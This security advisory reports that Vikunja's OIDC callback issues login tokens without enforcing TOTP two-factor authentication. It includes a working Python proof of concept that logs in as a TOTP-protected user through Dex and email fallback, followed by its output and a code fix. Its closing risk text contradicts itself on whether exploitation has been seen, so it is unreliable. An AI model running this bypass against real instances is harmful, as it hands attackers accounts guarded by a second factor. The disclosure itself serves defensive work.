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GHSA-8jvc-mcx6-r4cg
No affected components available
Summary
The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.
Details
The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:
return auth.NewUserAuthTokenResponse(u, c, false)
There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:
totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
if u.TOTPPasscode == "" {
_ = s.Rollback()
return user2.ErrInvalidTOTPPasscode{}
}
_, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
User: user,
Passcode: u.TOTPPasscode,
})
When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.
Proof of Concept
Tested on Vikunja v2.2.2 with Dex as the OIDC provider.
Setup:
- Vikunja configured with
emailfallback: truefor Dex - Local user
alice(id=1) has TOTP enabled
import requests, re, html
from urllib.parse import parse_qs, urlparse
TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"
# verify TOTP is required for local login
r = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)
# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
f"&redirect_uri={TARGET}/auth/openid/dex"
f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "alice@test.com", "password": "password"},
allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]
resp = requests.post(f"{API}/auth/openid/dex/callback",
json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")
user = requests.get(f"{API}/user",
headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed
Output:
Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice
Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.
Impact
When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.
This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.
Recommended Fix
Add a TOTP check in the OIDC callback before issuing the JWT:
totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
_ = s.Rollback()
return err
}
if totpEnabled {
_ = s.Rollback()
return echo.NewHTTPError(http.StatusForbidden,
"TOTP verification required. Please use the local login endpoint.")
}
return auth.NewUserAuthTokenResponse(u, c, false)
Found and reported by aisafe.io
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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